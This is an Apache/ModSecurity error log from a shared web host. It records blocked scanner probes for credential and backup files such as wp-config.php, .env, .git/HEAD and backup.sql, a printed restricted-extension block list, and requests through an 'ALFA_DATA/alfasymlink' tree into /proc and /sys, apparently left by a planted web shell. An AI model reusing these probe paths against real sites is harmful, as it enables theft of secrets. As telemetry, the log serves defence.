[Mon Oct 26 00:01:46.225661 2026] [security2:error] [pid 2958988:tid 2958988] [client 91.148.244.131:50398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at7QqgYue--VGB-9RmiCvwAAAAA"]
[Mon Oct 26 00:01:46.284484 2026] [proxy_fcgi:error] [pid 2949173:tid 2949173] [client 91.148.244.131:50422] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 00:01:46.532657 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at7Qqq2Hvm-I1Dg70Ad42QAAABU"]
[Mon Oct 26 00:01:46.532863 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at7Qqq2Hvm-I1Dg70Ad42QAAABU"]
[Mon Oct 26 00:01:46.533106 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at7Qqq2Hvm-I1Dg70Ad42QAAABU"]
[Mon Oct 26 00:01:46.604249 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas2.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at7QqnU04zBhf8656cj5dAAAAA0"]
[Mon Oct 26 00:01:46.604458 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at7QqnU04zBhf8656cj5dAAAAA0"]
[Mon Oct 26 00:01:46.604725 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at7QqnU04zBhf8656cj5dAAAAA0"]
[Mon Oct 26 00:01:46.806576 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7QqnU04zBhf8656cj5dgAAAA0"]
[Mon Oct 26 00:01:46.806784 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7QqnU04zBhf8656cj5dgAAAA0"]
[Mon Oct 26 00:01:46.807084 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7QqnU04zBhf8656cj5dgAAAA0"]
[Mon Oct 26 00:01:46.904960 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7QqnU04zBhf8656cj5dwAAAA0"]
[Mon Oct 26 00:01:46.905190 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7QqnU04zBhf8656cj5dwAAAA0"]
[Mon Oct 26 00:01:46.905523 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7QqnU04zBhf8656cj5dwAAAA0"]
[Mon Oct 26 00:01:47.003746 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas2.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at7Qq3U04zBhf8656cj5eAAAAA0"]
[Mon Oct 26 00:01:47.004072 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at7Qq3U04zBhf8656cj5eAAAAA0"]
[Mon Oct 26 00:01:47.004338 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at7Qq3U04zBhf8656cj5eAAAAA0"]
[Mon Oct 26 00:01:47.102010 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas2.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at7Qq3U04zBhf8656cj5eQAAAA0"]
[Mon Oct 26 00:01:47.102341 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at7Qq3U04zBhf8656cj5eQAAAA0"]
[Mon Oct 26 00:01:47.102656 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at7Qq3U04zBhf8656cj5eQAAAA0"]
[Mon Oct 26 00:01:47.206092 2026] [proxy_fcgi:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 00:01:47.502533 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at7Qq3U04zBhf8656cj5fQAAAA0"]
[Mon Oct 26 00:01:47.502815 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at7Qq3U04zBhf8656cj5fQAAAA0"]
[Mon Oct 26 00:01:47.503095 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at7Qq3U04zBhf8656cj5fQAAAA0"]
[Mon Oct 26 00:01:47.701325 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at7Qq3U04zBhf8656cj5fwAAAA0"]
[Mon Oct 26 00:01:47.701618 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at7Qq3U04zBhf8656cj5fwAAAA0"]
[Mon Oct 26 00:01:47.701930 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at7Qq3U04zBhf8656cj5fwAAAA0"]
[Mon Oct 26 00:02:06.602523 2026] [core:error] [pid 2949650:tid 2949650] (13)Permission denied: [client 34.206.193.60:24854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/hardware_error_device/bind
[Mon Oct 26 00:02:10.551821 2026] [ssl:error] [pid 2959087:tid 2959087] (70014)End of file found: [client 18.235.81.246:54737] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:02:18.666794 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 34.205.163.103:16857] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:02:22.517185 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 44.221.37.41:4851] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:02:25.533111 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 185.191.171.19:34850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-128/total_objects
[Mon Oct 26 00:02:30.678297 2026] [ssl:error] [pid 2959087:tid 2959087] (70014)End of file found: [client 34.236.135.14:18843] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:02:34.603761 2026] [ssl:error] [pid 2958988:tid 2958988] (70014)End of file found: [client 52.2.4.213:44394] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:02:34.603973 2026] [security2:error] [pid 2958988:tid 2958988] [client 52.2.4.213:44394] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/subsystem/mouse1/device/event3/device/subsystem/mice/power/control"] [unique_id "at7Q2gYue--VGB-9RmiCwgAAAAA"]
[Mon Oct 26 00:02:34.604002 2026] [security2:error] [pid 2958988:tid 2958988] [client 52.2.4.213:44394] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/subsystem/mouse1/device/event3/device/subsystem/mice/power/control"] [unique_id "at7Q2gYue--VGB-9RmiCwgAAAAA"]
[Mon Oct 26 00:02:51.854098 2026] [ssl:error] [pid 2954191:tid 2954191] (70014)End of file found: [client 23.21.119.232:8199] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:02:54.583731 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 52.0.41.164:30512] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:02:56.374067 2026] [proxy_fcgi:error] [pid 2959087:tid 2959087] [client 49.248.251.106:61818] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 00:02:59.216969 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 3.224.215.150:2091] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:03:02.603556 2026] [security2:error] [pid 2943087:tid 2943087] [client 44.223.232.55:22432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/driver/serio1/input/input4/power/"] [unique_id "at7Q9gSn5HKIYfqg0eAkyAAAADc"]
[Mon Oct 26 00:03:02.603602 2026] [security2:error] [pid 2943087:tid 2943087] [client 44.223.232.55:22432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/driver/serio1/input/input4/power/"] [unique_id "at7Q9gSn5HKIYfqg0eAkyAAAADc"]
[Mon Oct 26 00:03:07.615538 2026] [core:error] [pid 2949650:tid 2949650] (13)Permission denied: [client 85.208.96.196:10380] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bdev_cache/total_objects
[Mon Oct 26 00:03:22.955783 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 3.212.86.97:10844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:03:58.839073 2026] [security2:error] [pid 2954191:tid 2954191] [client 170.106.163.48:44010] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at7RLrgkTn8hpWp1OlnCTAAAAAk"]
[Mon Oct 26 00:03:58.840238 2026] [authz_core:error] [pid 2954191:tid 2954191] [client 170.106.163.48:44010] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 00:04:02.827867 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 52.21.62.139:7542] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:04:11.262026 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 34.235.239.240:56477] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:04:14.600116 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 18.232.36.1:41845] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:04:18.699254 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 52.205.113.104:7421] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:04:26.074208 2026] [ssl:error] [pid 2954191:tid 2954191] (70014)End of file found: [client 85.208.96.202:60580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:04:30.610217 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 52.22.87.224:13839] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:04:34.689229 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 54.197.102.71:12640] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:04:38.746791 2026] [ssl:error] [pid 2955283:tid 2955283] (5)Input/output error: [client 98.84.184.80:51310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:04:50.712337 2026] [core:error] [pid 2949651:tid 2949651] (13)Permission denied: [client 44.217.255.167:42782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/remove
[Mon Oct 26 00:05:06.923744 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 35.174.141.243:11819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:05:38.250120 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 85.208.96.212:13048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/slabs_cpu_partial
[Mon Oct 26 00:05:42.782699 2026] [core:error] [pid 2949173:tid 2949173] (13)Permission denied: [client 184.72.95.195:49414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/virtio1/driver/unbind
[Mon Oct 26 00:05:54.812017 2026] [ssl:error] [pid 2958988:tid 2958988] (70014)End of file found: [client 44.194.139.149:57188] AH02013: coalesce failed to read from data bucket
